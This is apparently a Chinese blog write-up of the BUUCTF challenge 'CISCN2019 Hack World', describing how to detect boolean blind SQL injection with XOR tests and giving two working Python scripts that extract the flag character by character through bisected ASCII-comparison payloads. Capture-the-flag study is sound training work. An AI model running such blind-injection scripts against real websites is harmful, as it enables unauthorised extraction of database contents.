(脚本学习)BUU18 [CISCN2019 华北赛区 Day2 Web1]Hack World1

server/2025/2/7 21:55:20/

自用

题目

考虑是不是布尔盲注,如何测试:用"1^1^1=1   1^0^1=0,就像是真真真等于真,真假真等于假"这个测试

SQL布尔盲注脚本1

import requestsurl = "http://8e4a9bf2-c055-4680-91fd-5b969ebc209e.node5.buuoj.cn:81/index.php"
flag = ""
i = 0while True:i = i + 1letf = 32right = 127while letf < right:mid = (letf+right) // 2payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"data = {"id":payload}res = requests.post(url=url, data=data).textif "Hello" in res:letf = mid + 1else:right = midif letf != 32:flag += chr(letf)print(flag)else:break

SQL布尔盲注脚本2

import requests
#调用请求模块
import time
#调用时间模块
import re
#调用规则表达式模块
url='http://1c6ac3dd-eab6-41d6-85a3-a5f888577768.node4.buuoj.cn:81/'
#题目链接
flag = ''
#创建一个变量用来存放flag值
for i in range(1,50):#for循环遍历,i表示flag值大致长度是50以内max = 127#赋值127min = 0#赋值0for c in range(0,127):#for循环遍历s = (int)((max+min)/2)#首先将 max 和 min 相加,然后除以 2,最后将结果强制转换为整数类型。payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'#^异或运算符,相同为假,不相同为真,1^payload,若为payload结果为假,则返回0,1^0=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。#从flag数据表中选择一个名为flag的字段,然后取这个字段的字符串(从位置 '+str(i)+' 开始,长度为 1(每次只返回一个))#将这个字符串转换为 ASCII 码,然后判断这个 ASCII 码是否大于一个名为 "s" 的变量。r = requests.post(url,data = {'id':payload})#requests模块的运用,将payload赋值给题目中这个名为id的参数time.sleep(0.005)#每循环一次休眠0.005秒if 'Hello' in str(r.content):#如果Hello这个字符串在生成的结果中,那么就继续向下进行max=s#将s的值赋值给maxelse:#反之min=s#将s的值赋值给minif((max-min)<=1):#如果max-min的值flag+=chr(max)#将max的ASCII值转化为字符串print(flag)#输出flagbreak#跳出循环


http://www.ppmy.cn/server/165774.html

相关文章

docker安装es及分词器ik

系统是macos&#xff0c;docker是docker-desktop 拉取镜像 docker pull bitnami/elasticsearch 启动docker镜像 docker create -e "discovery.typesingle-node" \ --name elasticsearch1 -p 9200:9200 -p 9300:9300 \ bitnami/elasticsearch:8.17.1 测试是否好…

并行计算、分布式计算与云计算:概念剖析与对比研究(表格对比)

什么是并行计算&#xff1f;什么是分布计算&#xff1f;什么是云计算&#xff1f;我们如何更好理解这3个概念&#xff0c;我们采用概念之间的区别和联系的方式来理解&#xff0c;做到切实理解&#xff0c;深刻体会。 1、并行计算与分布式计算 并行计算、分布式计算都属于高性…

vue文档01

什么是vue 构建用户界面的js框架,提供了一套声明式,组件化的编程模版 声明式 :关注结果,vuejs帮我们封装了过程 vuejs内部是命令式的,暴露给用户的是更声明式的响应式:数据变化自动更新视图 渐进式框架 不同的使用者在web上构建的东西,在形式上和规模上有很大的不同,vue设计…

WPS计算机二级•幻灯片放映与会议

听说这是目录哦 放映PPT时常用的快捷技巧&#x1f96c;设置放映模式&#x1f955;演讲备注的添加和隐藏&#x1fada;在PPT中插入附件并放映时打开&#x1fadb;隐藏幻灯片 不被放映和打印&#x1f344;‍&#x1f7eb;演讲计时模式&#x1f966;能量站&#x1f61a; 放映PPT时…

Python基础-使用list和tuple

目录 list tuple 练习 小结 list Python内置的一种数据类型是列表&#xff1a;list。list是一种有序的集合&#xff0c;可以随时添加和删除其中的元素。 比如&#xff0c;列出班里所有同学的名字&#xff0c;就可以用一个list表示&#xff1a; >>> classmates …

NGINX-RTMP 框架详解及与SRS对比

NGINX-RTMP 框架详解及与SRS对比 1. 概述 NGINX-RTMP 是基于 Nginx 的第三方模块(由社区开发维护),专注于 RTMP 协议的流媒体处理,适用于直播推流、点播分发等场景。它通过扩展 Nginx 的能力,支持 RTMP 流接收、转码、录制及多协议输出(如 HLS)。核心特点如下: 2. 核…

2025年最新Stable Diffusion 新手入门教程,安装使用及模型下载

一、安装要求&#xff1a; ① 操作系统&#xff1a;Windows10以后的系统 ② CPU&#xff1a;不做强制性要求 ③ 内存&#xff1a;推荐8G以上 ④ 显卡&#xff1a;必须是Nvidia的独立显卡&#xff0c;显存最低4G&#xff0c;推荐20系以后&#xff1b;A卡、核显只能用CPU跑 …

deepseek与openai关系

‌DeepSeek与OpenAI之间的关系主要体现在技术竞争和合作的可能性上。‌ 首先&#xff0c;DeepSeek是由中国的深度求索公司开发的&#xff0c;成立于2023年&#xff0c;专注于人工智能技术研发。其大模型DeepSeek-R1在数学、代码、自然语言推理等任务上的性能能够比肩OpenAI的G…